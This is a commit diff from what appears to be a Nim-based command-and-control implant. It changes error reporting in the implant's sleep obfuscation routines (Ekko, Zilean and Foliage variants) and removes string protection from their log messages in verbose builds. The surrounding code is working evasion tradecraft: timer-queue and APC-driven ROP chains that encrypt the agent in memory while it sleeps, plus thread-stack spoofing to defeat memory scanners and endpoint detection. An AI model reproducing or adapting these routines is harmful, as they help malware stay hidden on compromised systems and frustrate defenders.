Implemented human-readable error messages for Windows API and Native API errors using FormatMessageW. Removed string obfuscation/protection when agent is built with verbose flag.
This commit is contained in:
@@ -95,11 +95,11 @@ proc GetRandomThreadCtx(): CONTEXT =
|
||||
# Create snapshot of all available threads
|
||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
|
||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: CloseHandle(hSnapshot)
|
||||
|
||||
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
|
||||
# Check if the thread belongs to the current process but is not the current thread
|
||||
@@ -118,7 +118,7 @@ proc GetRandomThreadCtx(): CONTEXT =
|
||||
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
|
||||
return ctx
|
||||
|
||||
print protect("[-] No suitable thread for stack duplication found.")
|
||||
print "[-] No suitable thread for stack duplication found."
|
||||
return ctx
|
||||
|
||||
#[
|
||||
@@ -144,41 +144,41 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
||||
# Create timer queue
|
||||
status = apis.RtlCreateTimerQueue(addr queue)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: discard apis.RtlDeleteTimerQueue(queue)
|
||||
|
||||
# Create events
|
||||
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventTimer)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventStart)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventEnd)
|
||||
|
||||
# Retrieve the initial thread context
|
||||
delay += 100
|
||||
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
||||
delay += 100
|
||||
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# Wait for events to finish before continuing
|
||||
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
if spoofStack:
|
||||
# Stack duplication
|
||||
@@ -192,7 +192,7 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
||||
if spoofStack:
|
||||
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hThread)
|
||||
|
||||
# Preparing the ROP chain
|
||||
@@ -278,19 +278,19 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
||||
|
||||
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation start.")
|
||||
print "[*] Sleep obfuscation start."
|
||||
|
||||
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation end.")
|
||||
print "[*] Sleep obfuscation end."
|
||||
|
||||
except CatchableError as err:
|
||||
sleep(sleepDelay)
|
||||
print protect("[-] "), err.msg
|
||||
print "[-] ", err.msg
|
||||
|
||||
|
||||
#[
|
||||
@@ -316,38 +316,38 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
||||
# Create events
|
||||
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventTimer)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventWait)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventStart)
|
||||
|
||||
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventEnd)
|
||||
|
||||
delay += 100
|
||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
delay += 100
|
||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# Wait for events to finish before continuing
|
||||
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
if spoofStack:
|
||||
# Stack duplication
|
||||
@@ -361,7 +361,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
||||
if spoofStack:
|
||||
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hThread)
|
||||
|
||||
# Preparing the ROP chain
|
||||
@@ -446,19 +446,19 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
||||
delay += 100
|
||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation start.")
|
||||
print "[*] Sleep obfuscation start."
|
||||
|
||||
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation end.")
|
||||
print "[*] Sleep obfuscation end."
|
||||
|
||||
except CatchableError as err:
|
||||
sleep(sleepDelay)
|
||||
print protect("[-] "), err.msg
|
||||
print "[-] ", err.msg
|
||||
|
||||
|
||||
#[
|
||||
@@ -477,20 +477,20 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
||||
# Start synchronization event
|
||||
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: CloseHandle(hEventSync)
|
||||
|
||||
# Start suspended thread where the APC calls will be queued and executed
|
||||
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
print fmt"[*] [{hThread.repr}] Thread created "
|
||||
defer: CloseHandle(hThread)
|
||||
|
||||
ctxInit.ContextFlags = CONTEXT_FULL
|
||||
status = apis.NtGetContextThread(hThread, addr ctxInit)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
|
||||
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
|
||||
@@ -552,24 +552,24 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
||||
for i in 0 .. gadget:
|
||||
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
# Start sleep obfuscation
|
||||
status = apis.NtAlertResumeThread(hThread, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation start.")
|
||||
print "[*] Sleep obfuscation start."
|
||||
|
||||
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
print protect("[*] Sleep obfuscation end.")
|
||||
print "[*] Sleep obfuscation end."
|
||||
|
||||
except CatchableError as err:
|
||||
sleep(sleepDelay)
|
||||
print protect("[-] "), err.msg
|
||||
print "[-] ", err.msg
|
||||
|
||||
# Sleep obfuscation implemented in various techniques
|
||||
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
|
||||
|
||||
Reference in New Issue
Block a user